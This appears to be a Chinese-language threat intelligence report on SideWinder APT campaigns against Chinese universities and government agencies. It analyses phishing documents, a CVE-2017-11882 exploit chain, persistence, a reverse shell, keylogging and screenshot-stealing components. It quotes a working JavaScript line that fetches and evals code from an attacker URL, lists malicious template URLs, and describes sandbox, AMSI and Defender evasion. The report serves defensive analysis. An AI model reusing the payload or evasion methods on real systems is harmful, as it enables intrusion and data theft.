APT组织名称:
响尾蛇
威胁类型:
APT攻击
简单描述:
近期,深信服深瞻情报实验室监测到响尾蛇组织对国内高校和政府机构从2023年8月开始的攻击动态,经分析研判后,发现该组织使用了大量新的攻击组件来窃取机密数据。
1.1 概述
响尾蛇组织, 又称SideWinder、APT-C-17、T-APT-04,是一个来自南亚地区的境外APT组织。该组织主要针对中国、巴基斯坦等亚洲地区国家进行网络间谍活动,其中以窃取敏感信息为主。相关攻击活动最早可以追溯到2012年,至今还非常活跃,该组织主要针对政府机构、军事单位、高等院校进行攻击。
攻击链路如下图,攻击链路各个阶段都有所变化,初始访问:1.a文件变成网络下载在内存中执行javascript代码,不再落地为文件;持久化:新增服务驻留操作;命令控制:驻留的加载器不断访问C2获取组件加载执行,组件有多种:命令执行、窃密、远控等。
1.2 样本分析
1.2.1 文档钓鱼分析
近期所捕获到的sidewinder钓鱼文档,都是依靠远程模板技术下载执行漏洞文件。正常打开钓鱼文档,如果网络比较慢,可以看到请求网络连接的界面,如下图,但是文档打开后就看不出异常点了,这时候恶意载荷已经下载执行。
识别带有远程模板的钓鱼文件只需要使用winrar、7z这些解压软件将文档解压,在解压后的文件夹中找到\word\_rels\document.xml.rels或者\word\_rels\setting.xml.rels,使用文本编辑器打开这个rels文件,手动换行后可以看到一个子项的target是URL,这个就是下载远程模板的链接。
在外部不间断能捕获到响尾蛇远程模板下载链接,说明该组织仍在使用这个钓鱼方式。
`https://moitt-gov-pk.fia-gov.net/364896null/file.rtf``https://president-gov-lk.donwloaded.net/a4884a53/file.rtf``https://mofa-gov-np.fia-gov.net/notice/74b78aee/file.rtf``https://mofa-gov-pk.directt888.com/82890988/protocolhandbook/file.rtf``https://mofa-gov-np.fia-gov.net/notice/74b78aee/file.rtf.``https://invitation-letter.govpk.info/invitation_447093/file.rtf``https://moemaldives.pmd-office.com/aa2076dc/circular/file.rtf``https://mailmofagovmm.mofa.email/hybridwarfare-866394/file.rtf``https://moitt.paknavy-govpk.info/22259257-moitt/file.rtf``https://sarabanmithnavy.tni-mil.com/importanmail/785871/file.rtf`
下载的远程模板使用漏洞CVE-2017-11882,虽然是2017年的老漏洞了,但影响的office 2007、2013、2016这些办公软件仍然有大量用户。
漏洞利用成功后,执行攻击者代码,在内存中解密出JavaScript脚本(脚本内容如下表,功能为:将从url下载到的内容作为JavaScript脚本执行)。
a javascript:eval("v=ActiveXObject;x=new v(\"WinHttp.WinHttpRequest.5.1\");x.open(\"GET\", \"https://invitation-letter.govpk.info/invitation_338008\",false);x.Send();eval(x.ResponseText);window.close()")
使用RunHtmlApplication执行脚本,需要注意下载的javascript也是在内存中执行的。
1.2.2 下载组件
下载组件中多数样本的包名为Module,详细信息如下。
该组件对32位系统和64位系统分别准备了两组白加黑利用文件,分别为write.exe+propsys.dll和fsquirt.exe+devobj.dll,最终会创建服务驻留在系统中。执行后先是关闭服务进程Manage.exe、删除服务“serializers”、删除服务文件所在的文件夹。
接着是创建文件夹%systemroot%\\serializers,将下载的数据放置到随机命名的文件中,从资源中读取数据,根据系统位数布置白加黑利用文件,已经释放服务文件Manage.exe。
为释放的Manage.exe(F840C721E533C05D152D2BC7BF1BC165)创建服务,构建cmd命令利用Windows服务管理程序sc.exe将白加黑组件设置为服务崩溃后的恢复程序,最后启动Manage.exe服务。
最终创建的服务如下,Manage.exe中在经过一个短时间的睡眠后抛出异常进程崩溃,接着由系统创建fsquirt进程加载同目录下的恶意dll。
1.2.3 驻留组件
该组件用来劫持同目录下的系统白文件,详细信息如下。
该组件在一年内至少经过2次更新,此次更新后,大改字符串加密方式,从Rfc2898DeriveBytes获取32字节密钥异或资源数据得到多条base64字符串,这些字符串解码后使用tripleDES解密得到字符串。
睡眠90秒后,当指令执行时间小于90秒会结束流程,用于对抗沙箱(主流沙箱在执行样本时会阻止长睡眠行为,减少睡眠时间)。
在绕过amsi机制时,不再使用GetProcAddress获取函数地址,由自定义的导出表解析代码实现该功能,但仍会使用LoadLibrary加载amsi.dll。
找到当前路径下文件名不含‘.’的文件,取前16字节异或解密剩下的内容后,加载到内存执行。
1.2.4 加载组件
响尾蛇组织新增一个加载组件解析配置数据中的URL和核心组件,加载核心组件,以及连接攻击者C2更新配置数据,配置数据中包含的载荷可以随便替换,实现同时执行多个核心组件,信息如下。
解密出来的载荷信息如下:
根据硬编码的文件路径寻找配置文件,文件不存在就选择从资源中读取默认配置,配置数据可以用前32字节异或解密后续文件内容。
解析配置中的C2信息和核心组件数据。
创建文件夹%systemroot%\\Netclro\\,将配置信息加密后写入到文件Netclro,加密方式与前文解密方式对应。
创建的计时器回调立即执行,且只执行一次,执行时会尝试使用配置信息中的URL下载新的配置数据,下载成功后解析数据,更新本地的配置数据文件,并加载其中包含的下阶段载荷。
在创建计时器回调后,也会加载默认配置数据中的下阶段载荷。
在后续再一次更新的组件中,发现新增一个计时器,定时将配置中outputpath路径下的所有.bin文件上传到攻击者服务器,这些.bin文件由核心组件窃取数据后生成,上传成功后删除文件。
1.2.5 核心组件-命令执行
下阶段载荷核心功能是给攻击者提供反弹shell,该组件包含在配置文件中,抓取到的配置文件如下。
从配置中提取到的载荷信息。
创建shell的方式有两种,一种是被动监听某个端口,等待连接,另一种是主动连接硬编码的C2且支持https加密传输,连接成功后创建shell。
shell的实现与常规思路一样,将创建的cmd进程的输入输出重定向到管道中,将网络数据上传和接收与管道读取和写入对接起来,让攻击者能远程控制执行cmd命令。
在写入管道之前会先校验数据,如果符合条件优先执行相应的功能,不作为shell命令执行。
取4个字节比较是否为0x4224229A,这里将此判断下的功能称为4224229A-1~4224229A-5,当不符合这些条件时才会写入管道作为cmd命令执行。
功能4224229A-1,根据提供的字符串创建文件夹,复制文件,创建开机启动注册表,以计划任务延迟2分钟启动木马。
功能4224229A-2,获取explorer进程的所有者,可以看成是获取当前用户名。
功能4224229A-3,根据提供的URL,利用mshta执行远程脚本。
功能4224229A-4,获取当前系统中不包括defender的安全软件,并将攻击者传递的文件路径添加到defender排除目录。
功能4224229A-5,根据攻击者提供的URL下载数据,在数据前端拼接魔术字符“MZ”,在内存中加载执行。
当系统版本小于Windows10 1809,在进入到功能4224229A的判断前会优先做另外3个判断。
功能号3,创建cmd.exe进程是有挂靠一个conhost.exe子进程,此功能是为了杀掉这个conhost.exe进程。
功能号4,给攻击者发送数值2。
功能号16,将数据写入到文件。
1.2.6 核心组件-输入窃取
该组件依赖于加载组件,需要提供配置数据和命令ID才能执行,核心功能是键盘记录和剪切板数据窃取,从另一个配置文件Openfilea(6D816A3CBB05B1B3F875BCEDD1746C4D)中提取到该组件。
该组件通过SetWindowsHookEx注册窗口回调,捕获键盘操作和鼠标操作,将获取到的数据保存到配置数据outputpath路径下的module.log。
捕获键盘操作的同时,还保存当前窗口名称和窃取剪切板的内容。
对于剪切板数据,只窃取文本信息、文件路径信息以及图片信息。
捕获到鼠标操作,同样是获取窗口名称和剪切板数据。
窃取的数据使用Gzip压缩后,用Rijndael对称算法加密,使用随机生成的向量IV和密钥。
计算加密后数据的SHA256,将随机生成的Rijndael密钥用攻击者的RAS公钥加密。
将iv,加密后的key,SHA256,加密后的数据等等一起由随机生成的32个字节异或加密。
最后在outputpath路径下生成中间文件[随机字符].tmp,再重命名为.bin后缀,最后通过加载组件传输到攻击者服务器。
1.2.7 核心组件-屏幕截取
该组件与输入窃取组件类似,由加载组件在内存中执行,从配置文件Openfilea(CC9F08B46A294A127E671B56A3D6261E)提取到该组件。
该组件创建的时间回调只会在创建后5秒执行一次,执行时截取整个屏幕和计算当前时间戳,将两个数据加密后保存到配置数据中outputpath路径下的[随机字符].bin文件,数据加密过程和输入窃取组件一致。
1.2.8 核心组件-远控RAT
远控组件使用的是旧组件,已经有很多的分析文章,这里就不赘述了,该远控文件rsfg3vvv.fwh(EBEC9B4EF6C1077022BF2CE748739204)功能描述如下。
1.3 驻留项
目前发现的响尾蛇组织的驻留项有3种,且有很大概率是同时存在的,需要注意常驻项指向的文件,其实是系统白文件,在清理的时候使用工具autoruns可以很容易就发现这些异常项目,删除这些项目和指向路径下的所有文件即可。
注册表
计划任务
系统服务,服务主体文件并不会执行恶意行为,而是为了触发无法处理的异常使操作系统去执行设置的恢复程序。
1.4 溯源归因
溯源归因-配置数据:
响尾蛇组织配置数据经典加密手法:前32个字节是异或密钥;解密后发现与该组织常用配置格式类似:字节‘01’标识符,文件路径和URL等字符串之前的字节代表长度。
溯源归因-网络特征:
nginx服务器,经典404响应码,jarm=“28d28d28d00028d1ec28d28d28d28de9ab649921aa9add8c37a8978aa3ea88”,jarm="40d40d40d00040d1dc40d40d40d40de9ab649921aa9add8c37a8978aa3ea88",都是响尾蛇网络资产的常见特征。
1.4 溯源归因
本次捕获的非钓鱼样本的编译时间在2023年6月-2023年12月,发现于响尾蛇组织在国内的攻击活动中。该组织在7月份使用服务驻留技术,在11月份发现更新加载组件和配置数据,增加3个核心组件(命令执行、输入窃取、屏幕截取),升级数据加密技术,采用随机对称加密密钥+RSA公钥加密生成的随机密钥,只有拥有RSA私钥****才能解密数据,可以看出该组织更新组件全都围绕:窃密、隐秘地窃取、保证窃密时免杀、保证数据传输时免杀,拿到机密数据是该组织攻击活动的目标。从攻击目标来看,响尾蛇组织在国内的活动更倾向于攻击高校和政府机构。
深瞻情报实验室专注全球高级威胁事件的跟踪与分析,拥有一套完善的自动化分析溯源系统以及外部威胁监控系统,能够快速精准地对APT组织使用的攻击样本进行自动化分析和关联,同时积累并完善了几十个APT以及网络犯罪威胁组织的详细画像,成功帮助客户应急响应处置过多起APT及网络犯罪威胁组织攻击事件,未来随着安全对抗的不断升级,威胁组织会研究和使用更多新型的TTP,深信服高级威胁团队会持续监控,并对全球发现的新型安全事件进行深入分析与研究。
IOCs